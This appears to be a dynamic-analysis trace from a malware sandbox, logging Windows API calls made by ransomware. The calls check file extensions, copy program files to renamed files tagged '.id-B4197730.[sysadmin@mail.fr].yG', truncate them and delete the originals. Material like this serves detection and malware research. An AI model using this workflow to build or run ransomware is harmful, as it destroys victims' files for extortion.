	[0055.766] lstrlenW (lpString=".dbf") returned 4
	[0055.766] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0055.766] lstrlenW (lpString=".1cd") returned 4
	[0055.766] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0055.766] lstrlenW (lpString=".jpg") returned 4
	[0055.766] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0055.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0055.766] lstrlenW (lpString=".doc") returned 4
	[0055.766] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.766] lstrlenW (lpString=".docx") returned 5
	[0055.766] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0055.766] lstrlenW (lpString=".pdf") returned 4
	[0055.766] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.766] lstrlenW (lpString=".xls") returned 4
	[0055.767] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.767] lstrlenW (lpString=".xlsx") returned 5
	[0055.767] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0055.767] lstrlenW (lpString=".ppt") returned 4
	[0055.767] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0055.767] lstrlenW (lpString=".zip") returned 4
	[0055.767] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.767] lstrlenW (lpString=".rar") returned 4
	[0055.767] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.767] lstrlenW (lpString=".bz2") returned 4
	[0055.767] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.767] lstrlenW (lpString=".7z") returned 3
	[0055.767] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0055.767] lstrlenW (lpString=".dbf") returned 4
	[0055.767] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0055.767] lstrlenW (lpString=".1cd") returned 4
	[0055.767] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0055.767] lstrlenW (lpString=".jpg") returned 4
	[0055.767] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.767] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.988] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27
	[0055.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0055.988] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=210648) returned 1
	[0055.988] CloseHandle (hObject=0x340) returned 1
	[0055.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20
	[0055.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0055.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0055.988] lstrlenW (lpString=".doc") returned 4
	[0055.988] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.988] lstrlenW (lpString=".docx") returned 5
	[0055.988] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0055.988] lstrlenW (lpString=".pdf") returned 4
	[0055.988] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.988] lstrlenW (lpString=".xls") returned 4
	[0055.989] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.989] lstrlenW (lpString=".xlsx") returned 5
	[0055.989] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0055.989] lstrlenW (lpString=".ppt") returned 4
	[0055.989] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0055.989] lstrlenW (lpString=".zip") returned 4
	[0055.989] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.989] lstrlenW (lpString=".rar") returned 4
	[0055.989] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.989] lstrlenW (lpString=".bz2") returned 4
	[0055.989] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.989] lstrlenW (lpString=".7z") returned 3
	[0055.989] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0055.989] lstrlenW (lpString=".dbf") returned 4
	[0055.989] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0055.989] lstrlenW (lpString=".1cd") returned 4
	[0055.989] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0055.989] lstrlenW (lpString=".jpg") returned 4
	[0055.989] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0055.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0055.989] lstrlenW (lpString=".doc") returned 4
	[0055.989] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.989] lstrlenW (lpString=".docx") returned 5
	[0055.989] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0055.989] lstrlenW (lpString=".pdf") returned 4
	[0055.989] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.989] lstrlenW (lpString=".xls") returned 4
	[0055.989] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.989] lstrlenW (lpString=".xlsx") returned 5
	[0055.989] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0055.989] lstrlenW (lpString=".ppt") returned 4
	[0055.989] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0055.990] lstrlenW (lpString=".zip") returned 4
	[0055.990] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.990] lstrlenW (lpString=".rar") returned 4
	[0055.990] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.990] lstrlenW (lpString=".bz2") returned 4
	[0055.990] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.990] lstrlenW (lpString=".7z") returned 3
	[0055.990] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0055.990] lstrlenW (lpString=".dbf") returned 4
	[0055.990] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0055.990] lstrlenW (lpString=".1cd") returned 4
	[0055.990] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0055.990] lstrlenW (lpString=".jpg") returned 4
	[0055.990] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.990] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.990] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0055.991] GetLastError () returned 0x0
	[0055.991] ReadFile (in: hFile=0x340, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x406d8, lpOverlapped=0x0) returned 1
	[0056.037] WriteFile (in: hFile=0x330, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x406e0, lpOverlapped=0x0) returned 1
	[0056.041] ReadFile (in: hFile=0x340, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.041] WriteFile (in: hFile=0x330, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0056.042] SetEndOfFile (hFile=0x330) returned 1
	[0056.042] CloseHandle (hObject=0x330) returned 1
	[0056.046] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.046] SetEndOfFile (hFile=0x340) returned 1
	[0056.048] CloseHandle (hObject=0x340) returned 1
	[0056.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.049] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1
	[0056.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0056.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0056.049] lstrlenW (lpString=".doc") returned 4
	[0056.049] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0056.049] lstrlenW (lpString=".docx") returned 5
	[0056.049] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0056.049] lstrlenW (lpString=".pdf") returned 4
	[0056.049] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0056.049] lstrlenW (lpString=".xls") returned 4
	[0056.049] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0056.049] lstrlenW (lpString=".xlsx") returned 5
	[0056.050] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0056.050] lstrlenW (lpString=".ppt") returned 4
	[0056.050] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0056.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0056.050] lstrlenW (lpString=".zip") returned 4
	[0056.050] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0056.050] lstrlenW (lpString=".rar") returned 4
	[0056.050] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0056.050] lstrlenW (lpString=".bz2") returned 4
	[0056.050] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0056.050] lstrlenW (lpString=".7z") returned 3
	[0056.050] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0056.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0056.050] lstrlenW (lpString=".dbf") returned 4
	[0056.050] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0056.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0056.050] lstrlenW (lpString=".1cd") returned 4
	[0056.050] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0056.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0056.050] lstrlenW (lpString=".jpg") returned 4
	[0056.050] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0056.050] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.050] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0056.051] GetLastError () returned 0x0
	[0056.051] ReadFile (in: hFile=0x340, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0xc84c0, lpOverlapped=0x0) returned 1
	[0056.064] WriteFile (in: hFile=0x330, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xc84d0, lpOverlapped=0x0) returned 1
	[0056.436] ReadFile (in: hFile=0x340, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.436] WriteFile (in: hFile=0x330, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0056.436] SetEndOfFile (hFile=0x330) returned 1
	[0056.436] CloseHandle (hObject=0x330) returned 1
	[0056.458] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.458] SetEndOfFile (hFile=0x340) returned 1
	[0056.464] CloseHandle (hObject=0x340) returned 1
	[0056.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.464] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1
	[0056.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0056.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0056.464] lstrlenW (lpString=".doc") returned 4
	[0056.464] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0056.464] lstrlenW (lpString=".docx") returned 5
	[0056.464] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0056.464] lstrlenW (lpString=".pdf") returned 4
	[0056.465] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0056.465] lstrlenW (lpString=".xls") returned 4
	[0056.465] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0056.465] lstrlenW (lpString=".xlsx") returned 5
	[0056.465] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0056.465] lstrlenW (lpString=".ppt") returned 4
	[0056.465] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0056.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0056.465] lstrlenW (lpString=".zip") returned 4
	[0056.465] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0056.465] lstrlenW (lpString=".rar") returned 4
	[0056.465] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0056.465] lstrlenW (lpString=".bz2") returned 4
	[0056.465] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0056.465] lstrlenW (lpString=".7z") returned 3
	[0056.465] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0056.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0056.465] lstrlenW (lpString=".dbf") returned 4
	[0056.465] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0056.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0056.465] lstrlenW (lpString=".1cd") returned 4
	[0056.465] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0056.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0056.465] lstrlenW (lpString=".jpg") returned 4
	[0056.465] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0056.541] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.541] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0056.541] GetLastError () returned 0x0
	[0056.541] ReadFile (in: hFile=0x300, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x514a8, lpOverlapped=0x0) returned 1
	[0056.606] WriteFile (in: hFile=0x38c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x514b0, lpOverlapped=0x0) returned 1
	[0056.612] ReadFile (in: hFile=0x300, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.612] WriteFile (in: hFile=0x38c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xee, lpOverlapped=0x0) returned 1
	[0056.612] SetEndOfFile (hFile=0x38c) returned 1
	[0056.612] CloseHandle (hObject=0x38c) returned 1
	[0056.618] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.618] SetEndOfFile (hFile=0x300) returned 1
	[0056.621] CloseHandle (hObject=0x300) returned 1
	[0056.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.621] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1
	[0056.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0056.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0056.622] lstrlenW (lpString=".doc") returned 4
	[0056.622] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0056.622] lstrlenW (lpString=".docx") returned 5
	[0056.622] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0056.622] lstrlenW (lpString=".pdf") returned 4
	[0056.622] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0056.622] lstrlenW (lpString=".xls") returned 4
	[0056.622] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0056.622] lstrlenW (lpString=".xlsx") returned 5
	[0056.622] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0056.622] lstrlenW (lpString=".ppt") returned 4
	[0056.622] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0056.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0056.622] lstrlenW (lpString=".zip") returned 4
	[0056.622] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0056.622] lstrlenW (lpString=".rar") returned 4
	[0056.622] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0056.622] lstrlenW (lpString=".bz2") returned 4
	[0056.622] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0056.622] lstrlenW (lpString=".7z") returned 3
	[0056.622] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0056.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0056.622] lstrlenW (lpString=".dbf") returned 4
	[0056.622] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0056.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0056.623] lstrlenW (lpString=".1cd") returned 4
	[0056.623] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0056.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0056.623] lstrlenW (lpString=".jpg") returned 4
	[0056.623] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0056.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0056.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0056.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1
	[0056.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0056.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0056.624] lstrlenW (lpString=".doc") returned 4
	[0056.624] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0056.624] lstrlenW (lpString=".docx") returned 5
	[0056.624] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0056.624] lstrlenW (lpString=".pdf") returned 4
	[0056.624] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0056.624] lstrlenW (lpString=".xls") returned 4
	[0056.624] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0056.624] lstrlenW (lpString=".xlsx") returned 5
	[0056.624] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0056.624] lstrlenW (lpString=".ppt") returned 4
	[0056.624] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0056.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0056.625] lstrlenW (lpString=".zip") returned 4
	[0056.625] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0056.625] lstrlenW (lpString=".rar") returned 4
	[0056.625] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0056.625] lstrlenW (lpString=".bz2") returned 4
	[0056.625] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
